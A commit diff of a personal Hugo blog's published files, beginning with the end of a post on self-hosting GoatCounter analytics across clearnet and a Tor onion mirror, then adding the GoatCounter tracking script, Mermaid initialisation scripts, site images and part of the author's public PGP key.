</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">pvEl</span>) { <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">n</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">fetchCount</span>(<span style="color:#e6db74">'TOTAL'</span>); <span style="color:#a6e22e">pvEl</span>.<span style="color:#a6e22e">textContent</span> <span style="color:#f92672">=</span> (<span style="color:#a6e22e">n</span><span style="color:#f92672">===</span><span style="color:#66d9ef">null</span>) <span style="color:#f92672">?</span> <span style="color:#e6db74">'—'</span> <span style="color:#f92672">:</span> <span style="color:#a6e22e">nf</span>.<span style="color:#a6e22e">format</span>(<span style="color:#a6e22e">n</span>); }
|
||||
</span></span><span style="display:flex;"><span> });
|
||||
</span></span><span style="display:flex;"><span>})();
|
||||
</span></span><span style="display:flex;"><span></<span style="color:#f92672">script</span>>
|
||||
</span></span></code></pre></div><p>Style so meta items stay inline with middle dots (PaperMod‑like). Put this in <code>assets/css/extended/goatcounter.css</code>:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-css" data-lang="css"><span style="display:flex;"><span>.<span style="color:#a6e22e">post-single</span> .<span style="color:#a6e22e">post-header</span> .<span style="color:#a6e22e">post-meta</span><span style="color:#f92672">,</span>
|
||||
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">post-single</span> .<span style="color:#a6e22e">post-header</span> .<span style="color:#a6e22e">entry-meta</span><span style="color:#f92672">,</span>
|
||||
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">post-entry</span> .<span style="color:#a6e22e">entry-footer</span><span style="color:#f92672">,</span>
|
||||
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">post-entry</span> .<span style="color:#a6e22e">post-meta</span> {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">display</span>:<span style="color:#66d9ef">flex</span>; <span style="color:#66d9ef">align-items</span>:<span style="color:#66d9ef">center</span>; <span style="color:#66d9ef">flex-wrap</span>:<span style="color:#66d9ef">wrap</span>; <span style="color:#66d9ef">gap</span>:<span style="color:#ae81ff">.35</span><span style="color:#66d9ef">rem</span>;
|
||||
</span></span><span style="display:flex;"><span>}
|
||||
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">post-single</span> .<span style="color:#a6e22e">post-header</span> .<span style="color:#a6e22e">post-meta</span> <span style="color:#f92672">></span> <span style="color:#f92672">*,</span>
|
||||
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">post-single</span> .<span style="color:#a6e22e">post-header</span> .<span style="color:#a6e22e">entry-meta</span> <span style="color:#f92672">></span> <span style="color:#f92672">*,</span>
|
||||
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">post-entry</span> .<span style="color:#a6e22e">entry-footer</span> <span style="color:#f92672">></span> <span style="color:#f92672">*,</span>
|
||||
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">post-entry</span> .<span style="color:#a6e22e">post-meta</span> <span style="color:#f92672">></span> <span style="color:#f92672">*</span> {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">display</span>:<span style="color:#66d9ef">inline-flex</span>; <span style="color:#66d9ef">align-items</span>:<span style="color:#66d9ef">center</span>; <span style="color:#66d9ef">white-space</span>:<span style="color:#66d9ef">nowrap</span>;
|
||||
</span></span><span style="display:flex;"><span>}
|
||||
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">post-single</span> .<span style="color:#a6e22e">post-header</span> .<span style="color:#a6e22e">post-meta</span> <span style="color:#f92672">></span> <span style="color:#f92672">*</span> <span style="color:#f92672">+</span> <span style="color:#f92672">*</span>::<span style="color:#a6e22e">before</span><span style="color:#f92672">,</span>
|
||||
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">post-single</span> .<span style="color:#a6e22e">post-header</span> .<span style="color:#a6e22e">entry-meta</span> <span style="color:#f92672">></span> <span style="color:#f92672">*</span> <span style="color:#f92672">+</span> <span style="color:#f92672">*</span>::<span style="color:#a6e22e">before</span><span style="color:#f92672">,</span>
|
||||
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">post-entry</span> .<span style="color:#a6e22e">entry-footer</span> <span style="color:#f92672">></span> <span style="color:#f92672">*</span> <span style="color:#f92672">+</span> <span style="color:#f92672">*</span>::<span style="color:#a6e22e">before</span><span style="color:#f92672">,</span>
|
||||
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">post-entry</span> .<span style="color:#a6e22e">post-meta</span> <span style="color:#f92672">></span> <span style="color:#f92672">*</span> <span style="color:#f92672">+</span> <span style="color:#f92672">*</span>::<span style="color:#a6e22e">before</span> {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">content</span>:<span style="color:#e6db74">"·"</span>; <span style="color:#66d9ef">margin</span>:<span style="color:#ae81ff">0</span> <span style="color:#ae81ff">.5</span><span style="color:#66d9ef">rem</span>; <span style="color:#66d9ef">opacity</span>:<span style="color:#ae81ff">.6</span>;
|
||||
</span></span><span style="display:flex;"><span>}
|
||||
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">post-views-bottom</span> { <span style="color:#66d9ef">margin</span>:<span style="color:#ae81ff">.6</span><span style="color:#66d9ef">rem</span> <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">0</span>; <span style="color:#66d9ef">opacity</span>:<span style="color:#ae81ff">.75</span>; <span style="color:#66d9ef">font-size</span>:<span style="color:#ae81ff">.95</span><span style="color:#66d9ef">em</span>; }
|
||||
</span></span></code></pre></div><hr>
|
||||
<h3 id="6-count-tor-onion-visits-into-the-same-site">6) Count Tor (.onion) visits <strong>into the same site</strong></h3>
|
||||
<p>In the <strong>.onion</strong> server block, proxy GoatCounter endpoints to the same site by forcing the Host header:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nginx" data-lang="nginx"><span style="display:flex;"><span><span style="color:#75715e"># inside: server { ... } for fjthpp2h3mj2r....onion
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">location</span> = <span style="color:#e6db74">/count</span> {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">proxy_pass</span> <span style="color:#e6db74">http://127.0.0.1:8081/count</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Host</span> <span style="color:#e6db74">statsblog.alipourimjourneys.ir</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-For</span> $proxy_add_x_forwarded_for;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-Proto</span> <span style="color:#e6db74">http</span>; <span style="color:#75715e"># onion is http
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>}
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">location</span> <span style="color:#e6db74">/counter/</span> {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">proxy_pass</span> <span style="color:#e6db74">http://127.0.0.1:8081/counter/</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Host</span> <span style="color:#e6db74">statsblog.alipourimjourneys.ir</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-For</span> $proxy_add_x_forwarded_for;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-Proto</span> <span style="color:#e6db74">http</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">add_header</span> <span style="color:#e6db74">Cache-Control</span> <span style="color:#e6db74">"no-store"</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">proxy_no_cache</span> <span style="color:#ae81ff">1</span>; <span style="color:#f92672">proxy_cache_bypass</span> <span style="color:#ae81ff">1</span>;
|
||||
</span></span><span style="display:flex;"><span>}
|
||||
</span></span></code></pre></div><p>Because the loader above sets <code>window.goatcounter.endpoint</code> to <code>/count</code> on <code>.onion</code>, both <strong>hits</strong> and <strong>reads</strong> stay on the onion origin and are tallied into the same GoatCounter site.</p>
|
||||
<blockquote>
|
||||
<p><strong>Note on DNT/Tor:</strong> Tor Browser sends <code>DNT: 1</code>. GoatCounter respects DNT by default, so Tor users won’t be counted unless you disable “Respect Do Not Track” in GoatCounter settings. Your choice; I left the code compatible either way.</p></blockquote>
|
||||
<hr>
|
||||
<h3 id="7-troubleshooting-quick-notes">7) Troubleshooting quick notes</h3>
|
||||
<ul>
|
||||
<li><strong>400 “no site at this domain”</strong> → create the site with <code>-vhost=statsblog.alipourimjourneys.ir</code> or fix your proxy <code>Host</code> header.</li>
|
||||
<li><strong>Counts don’t change on onion</strong> → verify Tor path via <code>torsocks</code>, watch logs:
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker compose logs -f goatcounter
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># look for “ignored: bot” (curl UA), or DNT being respected</span>
|
||||
</span></span></code></pre></div></li>
|
||||
<li><strong>DevTools sanity</strong> → on clearnet you should see <code>https://statsblog…/count</code> and <code>…/counter/*.json</code>; on onion you should see <code>/count</code> and <code>/counter/*.json</code> (same‑origin).</li>
|
||||
</ul>
|
||||
<p>That’s it. One dashboard; clearnet + onion both increment; tiny inline counters everywhere.</p>
|
||||
<p>Honestly, self-hosting GoatCounter wasn’t as straightforward as I thought it would be. It almost made me cry a few times. I definitly thought about my life choices a few times along the way. But oh well, now it’s done and dusted, and I’m a happy puppy! :D</p>
|
||||
<hr>
|
||||
<div class="signature-block" style="margin-top:1rem">
|
||||
<p><strong>Downloads:</strong>
|
||||
<a href="/sources/posts/view_count.md">Markdown</a> ·
|
||||
<a href="/sources/posts/view_count.md.asc">Signature (.asc)</a>
|
||||
</p><details class="signature">
|
||||
<summary>View OpenPGP signature</summary>
|
||||
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----
|
||||
|
||||
iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
|
||||
jSolRg//SwN9nMf9/Wgkr5h+dQowZMCHXXcKWgO8J08ITVDN1+weNNGANFrz63SQ
|
||||
DajHGeSogYW1+AAxJaAeQ7hLdOX9foV5pT+kWANIjRBXnFyW+WR7kt6tmN2rcSH8
|
||||
z4GKxqE3kdd3kCRhqT0pLiwnurqLgdCK+YldftO6GB8WP4oNDqOwHvoIE6o0ekdH
|
||||
sn7ZBIxMaWc5UqijjqgBHhdHz3uSmL+rN4UwLFM3WXXlwl3HdGyjHcNTG7k648s2
|
||||
X5+7a78OZAuDElpyp9y6WqiAFJQdrwBbTv3vvpU+f911voV7ZA+KbUqHsQrISTKz
|
||||
cd+tPw2lcayfBZRtHMrL3fygvT3AWktcSavZrU5EOX/u/P7eMWEYu0FYh6aHqRak
|
||||
+Ft2FR7EPlB2faS6wWYfoua6BYxFvevXX1fk+0HhZn9UJxJPaa/WTgVWDgpt++Ce
|
||||
fdaDmsR69LIj2QTjPMXdQiUKkWPG2ziadTwJEWUHzOuREifmuBgp9Mwedk6zYkdT
|
||||
m5Roi70IPtX3dDDHG5Votw3AKng3gaU7YcNzZVyi3iZkQkUHPUK47Wj21FajikMP
|
||||
gCcWsoYWBRqdhL5XDrodt28AuLpm0cslz79DZdbLnielcjOS+GaUynjLzEWveOib
|
||||
dxLcbIIap+nt315cjvkfatGv14Dres/K7vhQAhqGy5o0LM1D0qc=
|
||||
=o387
|
||||
-----END PGP SIGNATURE-----
|
||||
</pre>
|
||||
</details><p><em>Verify locally:</em></p>
|
||||
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/view_count.md
|
||||
curl -fSLO https://blog.alipour.eu/sources/posts/view_count.md.asc
|
||||
gpg --verify view_count.md.asc view_count.md
|
||||
</pre>
|
||||
</div>
|
||||
|
||||
|
||||
]]></content:encoded></item></channel></rss>
|
||||
2
public-clearnet/categories/stories/page/1/index.html
Normal file
2
public-clearnet/categories/stories/page/1/index.html
Normal file
|
|
@ -0,0 +1,2 @@
|
|||
<!doctype html><html lang=en><head><title>https://blog.alipour.eu/categories/stories/</title>
|
||||
<link rel=canonical href=https://blog.alipour.eu/categories/stories/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://blog.alipour.eu/categories/stories/"></head></html>
|
||||
BIN
public-clearnet/favicon-16x16.png
Normal file
BIN
public-clearnet/favicon-16x16.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 802 B |
BIN
public-clearnet/favicon-32x32.png
Normal file
BIN
public-clearnet/favicon-32x32.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 1.9 KiB |
BIN
public-clearnet/favicon.ico
Normal file
BIN
public-clearnet/favicon.ico
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 15 KiB |
BIN
public-clearnet/images/hedgedoc-cover.png
Normal file
BIN
public-clearnet/images/hedgedoc-cover.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 71 KiB |
BIN
public-clearnet/images/inet/inet_animation_collage.jpg
Normal file
BIN
public-clearnet/images/inet/inet_animation_collage.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 251 KiB |
BIN
public-clearnet/images/inet/inet_hardware_collage.jpg
Normal file
BIN
public-clearnet/images/inet/inet_hardware_collage.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 252 KiB |
BIN
public-clearnet/images/inet/inet_logo_fusion_merged.png
Normal file
BIN
public-clearnet/images/inet/inet_logo_fusion_merged.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 916 KiB |
BIN
public-clearnet/images/inet/inet_ui_collage.jpg
Normal file
BIN
public-clearnet/images/inet/inet_ui_collage.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 464 KiB |
BIN
public-clearnet/images/matrix-cover.png
Normal file
BIN
public-clearnet/images/matrix-cover.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 24 KiB |
37
public-clearnet/index.html
Normal file
37
public-clearnet/index.html
Normal file
File diff suppressed because one or more lines are too long
1
public-clearnet/index.json
Normal file
1
public-clearnet/index.json
Normal file
File diff suppressed because one or more lines are too long
6268
public-clearnet/index.xml
Normal file
6268
public-clearnet/index.xml
Normal file
File diff suppressed because it is too large
Load diff
267
public-clearnet/js/count.js
Normal file
267
public-clearnet/js/count.js
Normal file
|
|
@ -0,0 +1,267 @@
|
|||
// GoatCounter: https://www.goatcounter.com
|
||||
// This file is released under the ISC license: https://opensource.org/licenses/ISC
|
||||
;(function() {
|
||||
'use strict';
|
||||
|
||||
window.goatcounter = window.goatcounter || {}
|
||||
|
||||
// Load settings from data-goatcounter-settings.
|
||||
var s = document.querySelector('script[data-goatcounter]')
|
||||
if (s && s.dataset.goatcounterSettings) {
|
||||
try { var set = JSON.parse(s.dataset.goatcounterSettings) }
|
||||
catch (err) { console.error('invalid JSON in data-goatcounter-settings: ' + err) }
|
||||
for (var k in set)
|
||||
if (['no_onload', 'no_events', 'allow_local', 'allow_frame', 'path', 'title', 'referrer', 'event'].indexOf(k) > -1)
|
||||
window.goatcounter[k] = set[k]
|
||||
}
|
||||
|
||||
var enc = encodeURIComponent
|
||||
|
||||
// Get all data we're going to send off to the counter endpoint.
|
||||
window.goatcounter.get_data = function(vars) {
|
||||
vars = vars || {}
|
||||
var data = {
|
||||
p: (vars.path === undefined ? goatcounter.path : vars.path),
|
||||
r: (vars.referrer === undefined ? goatcounter.referrer : vars.referrer),
|
||||
t: (vars.title === undefined ? goatcounter.title : vars.title),
|
||||
e: !!(vars.event || goatcounter.event),
|
||||
s: [window.screen.width, window.screen.height, (window.devicePixelRatio || 1)],
|
||||
b: is_bot(),
|
||||
q: location.search,
|
||||
}
|
||||
|
||||
var rcb, pcb, tcb // Save callbacks to apply later.
|
||||
if (typeof(data.r) === 'function') rcb = data.r
|
||||
if (typeof(data.t) === 'function') tcb = data.t
|
||||
if (typeof(data.p) === 'function') pcb = data.p
|
||||
|
||||
if (is_empty(data.r)) data.r = document.referrer
|
||||
if (is_empty(data.t)) data.t = document.title
|
||||
if (is_empty(data.p)) data.p = get_path()
|
||||
|
||||
if (rcb) data.r = rcb(data.r)
|
||||
if (tcb) data.t = tcb(data.t)
|
||||
if (pcb) data.p = pcb(data.p)
|
||||
return data
|
||||
}
|
||||
|
||||
// Check if a value is "empty" for the purpose of get_data().
|
||||
var is_empty = function(v) { return v === null || v === undefined || typeof(v) === 'function' }
|
||||
|
||||
// See if this looks like a bot; there is some additional filtering on the
|
||||
// backend, but these properties can't be fetched from there.
|
||||
var is_bot = function() {
|
||||
// Headless browsers are probably a bot.
|
||||
var w = window, d = document
|
||||
if (w.callPhantom || w._phantom || w.phantom)
|
||||
return 150
|
||||
if (w.__nightmare)
|
||||
return 151
|
||||
if (d.__selenium_unwrapped || d.__webdriver_evaluate || d.__driver_evaluate)
|
||||
return 152
|
||||
if (navigator.webdriver)
|
||||
return 153
|
||||
return 0
|
||||
}
|
||||
|
||||
// Object to urlencoded string, starting with a ?.
|
||||
var urlencode = function(obj) {
|
||||
var p = []
|
||||
for (var k in obj)
|
||||
if (obj[k] !== '' && obj[k] !== null && obj[k] !== undefined && obj[k] !== false)
|
||||
p.push(enc(k) + '=' + enc(obj[k]))
|
||||
return '?' + p.join('&')
|
||||
}
|
||||
|
||||
// Show a warning in the console.
|
||||
var warn = function(msg) {
|
||||
if (console && 'warn' in console)
|
||||
console.warn('goatcounter: ' + msg)
|
||||
}
|
||||
|
||||
// Get the endpoint to send requests to.
|
||||
var get_endpoint = function() {
|
||||
var s = document.querySelector('script[data-goatcounter]')
|
||||
return (s && s.dataset.goatcounter) ? s.dataset.goatcounter : goatcounter.endpoint
|
||||
}
|
||||
|
||||
// Get current path.
|
||||
var get_path = function() {
|
||||
var loc = location,
|
||||
c = document.querySelector('link[rel="canonical"][href]')
|
||||
if (c) { // May be relative or point to different domain.
|
||||
var a = document.createElement('a')
|
||||
a.href = c.href
|
||||
if (a.hostname.replace(/^www\./, '') === location.hostname.replace(/^www\./, ''))
|
||||
loc = a
|
||||
}
|
||||
return (loc.pathname + loc.search) || '/'
|
||||
}
|
||||
|
||||
// Run function after DOM is loaded.
|
||||
var on_load = function(f) {
|
||||
if (document.body === null)
|
||||
document.addEventListener('DOMContentLoaded', function() { f() }, false)
|
||||
else
|
||||
f()
|
||||
}
|
||||
|
||||
// Filter some requests that we (probably) don't want to count.
|
||||
window.goatcounter.filter = function() {
|
||||
if ('visibilityState' in document && document.visibilityState === 'prerender')
|
||||
return 'visibilityState'
|
||||
if (!goatcounter.allow_frame && location !== parent.location)
|
||||
return 'frame'
|
||||
if (!goatcounter.allow_local && location.hostname.match(/(localhost$|^127\.|^10\.|^172\.(1[6-9]|2[0-9]|3[0-1])\.|^192\.168\.|^0\.0\.0\.0$)/))
|
||||
return 'localhost'
|
||||
if (!goatcounter.allow_local && location.protocol === 'file:')
|
||||
return 'localfile'
|
||||
if (localStorage && localStorage.getItem('skipgc') === 't')
|
||||
return 'disabled with #toggle-goatcounter'
|
||||
return false
|
||||
}
|
||||
|
||||
// Get URL to send to GoatCounter.
|
||||
window.goatcounter.url = function(vars) {
|
||||
var data = window.goatcounter.get_data(vars || {})
|
||||
if (data.p === null) // null from user callback.
|
||||
return
|
||||
data.rnd = Math.random().toString(36).substr(2, 5) // Browsers don't always listen to Cache-Control.
|
||||
|
||||
var endpoint = get_endpoint()
|
||||
if (!endpoint)
|
||||
return warn('no endpoint found')
|
||||
|
||||
return endpoint + urlencode(data)
|
||||
}
|
||||
|
||||
// Count a hit.
|
||||
window.goatcounter.count = function(vars) {
|
||||
var f = goatcounter.filter()
|
||||
if (f)
|
||||
return warn('not counting because of: ' + f)
|
||||
var url = goatcounter.url(vars)
|
||||
if (!url)
|
||||
return warn('not counting because path callback returned null')
|
||||
|
||||
if (!navigator.sendBeacon(url)) {
|
||||
// This mostly fails due to being blocked by CSP; try again with an
|
||||
// image-based fallback.
|
||||
var img = document.createElement('img')
|
||||
img.src = url
|
||||
img.style.position = 'absolute' // Affect layout less.
|
||||
img.style.bottom = '0px'
|
||||
img.style.width = '1px'
|
||||
img.style.height = '1px'
|
||||
img.loading = 'eager'
|
||||
img.setAttribute('alt', '')
|
||||
img.setAttribute('aria-hidden', 'true')
|
||||
|
||||
var rm = function() { if (img && img.parentNode) img.parentNode.removeChild(img) }
|
||||
img.addEventListener('load', rm, false)
|
||||
document.body.appendChild(img)
|
||||
}
|
||||
}
|
||||
|
||||
// Get a query parameter.
|
||||
window.goatcounter.get_query = function(name) {
|
||||
var s = location.search.substr(1).split('&')
|
||||
for (var i = 0; i < s.length; i++)
|
||||
if (s[i].toLowerCase().indexOf(name.toLowerCase() + '=') === 0)
|
||||
return s[i].substr(name.length + 1)
|
||||
}
|
||||
|
||||
// Track click events.
|
||||
window.goatcounter.bind_events = function() {
|
||||
if (!document.querySelectorAll) // Just in case someone uses an ancient browser.
|
||||
return
|
||||
|
||||
var send = function(elem) {
|
||||
return function() {
|
||||
goatcounter.count({
|
||||
event: true,
|
||||
path: (elem.dataset.goatcounterClick || elem.name || elem.id || ''),
|
||||
title: (elem.dataset.goatcounterTitle || elem.title || (elem.innerHTML || '').substr(0, 200) || ''),
|
||||
referrer: (elem.dataset.goatcounterReferrer || elem.dataset.goatcounterReferral || ''),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
Array.prototype.slice.call(document.querySelectorAll("*[data-goatcounter-click]")).forEach(function(elem) {
|
||||
if (elem.dataset.goatcounterBound)
|
||||
return
|
||||
var f = send(elem)
|
||||
elem.addEventListener('click', f, false)
|
||||
elem.addEventListener('auxclick', f, false) // Middle click.
|
||||
elem.dataset.goatcounterBound = 'true'
|
||||
})
|
||||
}
|
||||
|
||||
// Add a "visitor counter" frame or image.
|
||||
window.goatcounter.visit_count = function(opt) {
|
||||
on_load(function() {
|
||||
opt = opt || {}
|
||||
opt.type = opt.type || 'html'
|
||||
opt.append = opt.append || 'body'
|
||||
opt.path = opt.path || get_path()
|
||||
opt.attr = opt.attr || {width: '200', height: (opt.no_branding ? '60' : '80')}
|
||||
|
||||
opt.attr['src'] = get_endpoint() + 'er/' + enc(opt.path) + '.' + enc(opt.type) + '?'
|
||||
if (opt.no_branding) opt.attr['src'] += '&no_branding=1'
|
||||
if (opt.style) opt.attr['src'] += '&style=' + enc(opt.style)
|
||||
if (opt.start) opt.attr['src'] += '&start=' + enc(opt.start)
|
||||
if (opt.end) opt.attr['src'] += '&end=' + enc(opt.end)
|
||||
|
||||
var tag = {png: 'img', svg: 'img', html: 'iframe'}[opt.type]
|
||||
if (!tag)
|
||||
return warn('visit_count: unknown type: ' + opt.type)
|
||||
|
||||
if (opt.type === 'html') {
|
||||
opt.attr['frameborder'] = '0'
|
||||
opt.attr['scrolling'] = 'no'
|
||||
}
|
||||
|
||||
var d = document.createElement(tag)
|
||||
for (var k in opt.attr)
|
||||
d.setAttribute(k, opt.attr[k])
|
||||
|
||||
var p = document.querySelector(opt.append)
|
||||
if (!p)
|
||||
return warn('visit_count: element to append to not found: ' + opt.append)
|
||||
p.appendChild(d)
|
||||
})
|
||||
}
|
||||
|
||||
// Make it easy to skip your own views.
|
||||
if (location.hash === '#toggle-goatcounter') {
|
||||
if (localStorage.getItem('skipgc') === 't') {
|
||||
localStorage.removeItem('skipgc', 't')
|
||||
alert('GoatCounter tracking is now ENABLED in this browser.')
|
||||
}
|
||||
else {
|
||||
localStorage.setItem('skipgc', 't')
|
||||
alert('GoatCounter tracking is now DISABLED in this browser until ' + location + ' is loaded again.')
|
||||
}
|
||||
}
|
||||
|
||||
if (!goatcounter.no_onload)
|
||||
on_load(function() {
|
||||
// 1. Page is visible, count request.
|
||||
// 2. Page is not yet visible; wait until it switches to 'visible' and count.
|
||||
// See #487
|
||||
if (!('visibilityState' in document) || document.visibilityState === 'visible')
|
||||
goatcounter.count()
|
||||
else {
|
||||
var f = function(e) {
|
||||
if (document.visibilityState !== 'visible')
|
||||
return
|
||||
document.removeEventListener('visibilitychange', f)
|
||||
goatcounter.count()
|
||||
}
|
||||
document.addEventListener('visibilitychange', f)
|
||||
}
|
||||
|
||||
if (!goatcounter.no_events)
|
||||
goatcounter.bind_events()
|
||||
})
|
||||
})();
|
||||
21
public-clearnet/js/init-mermaid-umd.js
Normal file
21
public-clearnet/js/init-mermaid-umd.js
Normal file
|
|
@ -0,0 +1,21 @@
|
|||
(function () {
|
||||
function render() {
|
||||
const nodes = document.querySelectorAll('.mermaid');
|
||||
console.log('[mermaid] nodes on page:', nodes.length);
|
||||
|
||||
if (!window.mermaid) {
|
||||
console.error('[mermaid] window.mermaid is missing');
|
||||
return;
|
||||
}
|
||||
window.mermaid.initialize({ startOnLoad: false });
|
||||
window.mermaid.run({ querySelector: '.mermaid' });
|
||||
console.log('[mermaid] run() called');
|
||||
}
|
||||
|
||||
if (document.readyState === 'loading') {
|
||||
document.addEventListener('DOMContentLoaded', render, { once: true });
|
||||
} else {
|
||||
render();
|
||||
}
|
||||
})();
|
||||
|
||||
17
public-clearnet/js/init-mermaid.js
Normal file
17
public-clearnet/js/init-mermaid.js
Normal file
|
|
@ -0,0 +1,17 @@
|
|||
|
||||
// Uses global window.mermaid provided by mermaid.min.js
|
||||
function renderMermaid() {
|
||||
if (!window.mermaid) {
|
||||
console.error('Mermaid not found on window');
|
||||
return;
|
||||
}
|
||||
window.mermaid.initialize({ startOnLoad: false });
|
||||
window.mermaid.run({ querySelector: '.mermaid' });
|
||||
}
|
||||
|
||||
if (document.readyState === 'loading') {
|
||||
document.addEventListener('DOMContentLoaded', renderMermaid, { once: true });
|
||||
} else {
|
||||
renderMermaid();
|
||||
}
|
||||
|
||||
14
public-clearnet/js/mermaid.esm.min.mjs
Normal file
14
public-clearnet/js/mermaid.esm.min.mjs
Normal file
File diff suppressed because one or more lines are too long
2811
public-clearnet/js/mermaid.min.js
vendored
Normal file
2811
public-clearnet/js/mermaid.min.js
vendored
Normal file
File diff suppressed because one or more lines are too long
51
public-clearnet/keys/iman-alipour-pgp.asc
Normal file
51
public-clearnet/keys/iman-alipour-pgp.asc
Normal file
|
|
@ -0,0 +1,51 @@
|
|||
-----BEGIN PGP PUBLIC KEY BLOCK-----
|
||||
|
||||
mQINBGc9jFUBEADCXf0isAbrJSKp8tH0qF2OuCRSWuYcPyAuOUg1NCbzNhce6QML
|
||||
EFxafaD6THeJZ0XUEh5o5BaCnDaWRUHq495Z84Y/7cU5HGsrYDARs+zUVXiJap1E
|
||||
5xMeFCPDIa0/ItaoMLpLJWeor11UG/Fs+fDoeQhWIYIKfab84fXjMvdq9v6MWs4L
|
||||
rv0/xLZocU/rHjhc2409UMtpPlnI3C1ZbuBEAYJo/rMVKks+Kp+N2VnoyiaNW7O0
|
||||
O5TwObRz/Q7r0AP5WCvL/NrDwO1C7An8u827bIMh1gZKTZ4+XGVJApW7j20abm+r
|
||||
zk7k4CSUoB3rut020I3+GJtJmk2Wf+vb0y8Jimmzf6jfEP7knRwVTF6IdwW23ZGr
|
||||
RizS5xuxqQqHPAF7Js2lTEONhM6Zi+pvuqbGI2J9VGJg/Q8PhA26dKbY1HDprIId
|
||||
qBzQnsHZ8YTEACloRNwCysM+x1snqZPMZdjXMUpEVXIlBbwXOFpkpZnz/uaPReOI
|
||||
tg2fOb9pui1wCy4PDBmog3FshD+fzF1E3FK/0tCVGXujbGqw7aFUQMxF4O0Ikt9E
|
||||
NC1aOlUZIlo9hcDL3tN/QZHzOHEWGE6SnNTtnNMfbU6zxYcjG0EaGxkAGGkH2kQQ
|
||||
qKCjDexannAjUmSdsql0uB0qeSGsTOPvx+LlLLjWiukXEZRNlr3/6BEfGQARAQAB
|
||||
tCZJbWFuIEFsaXBvdXIgPGltYW4uYWxpcDIwMDFAZ21haWwuY29tPokCRwQTAQgA
|
||||
MRYhBFWipd6EeSusxsruP7WIKFDgTI0qBQJnPYxWAhsDBAsJCAcFFQgJCgsFFgID
|
||||
AQAACgkQtYgoUOBMjSoOaw//dco0eCc1FAChHlMpPC9R06Y2ihfCYD7F6VfqoosU
|
||||
WBM0b/wxPrbUVSu5quW038nnr1Q+yOK+fWSHxDicIVEgmEgX3NhXFRSt6tRH5FSC
|
||||
7kaW0KxAx7JsZs4uZ0dCVXf8txAaLs5W3L0VmkiLNintWWCNV7QWDvrn7mg+lzuv
|
||||
4A8dy0BeARoYq9462J4SCyqnWLr80UHAgQ1StzhReBK8oEdLQ5VyXBXDZzL7i/W6
|
||||
XXQqekle1npMGpUF9ICwU7Tgt0vWGMmfnAaJIq3qkHhyj7PkXASpe8dAWphUV3Aw
|
||||
t01Hi6/B25P1+Yx7s8zU6qSjRqeNSih7cY1MfSintF/YK/WJo1PjNRUzPL0QwS2B
|
||||
2dA+QHLKq2pzRTf29cvKE8frgHl5xnfWGrVmHs4JyS4x5Y7JkOMNU1bWTMehkVCJ
|
||||
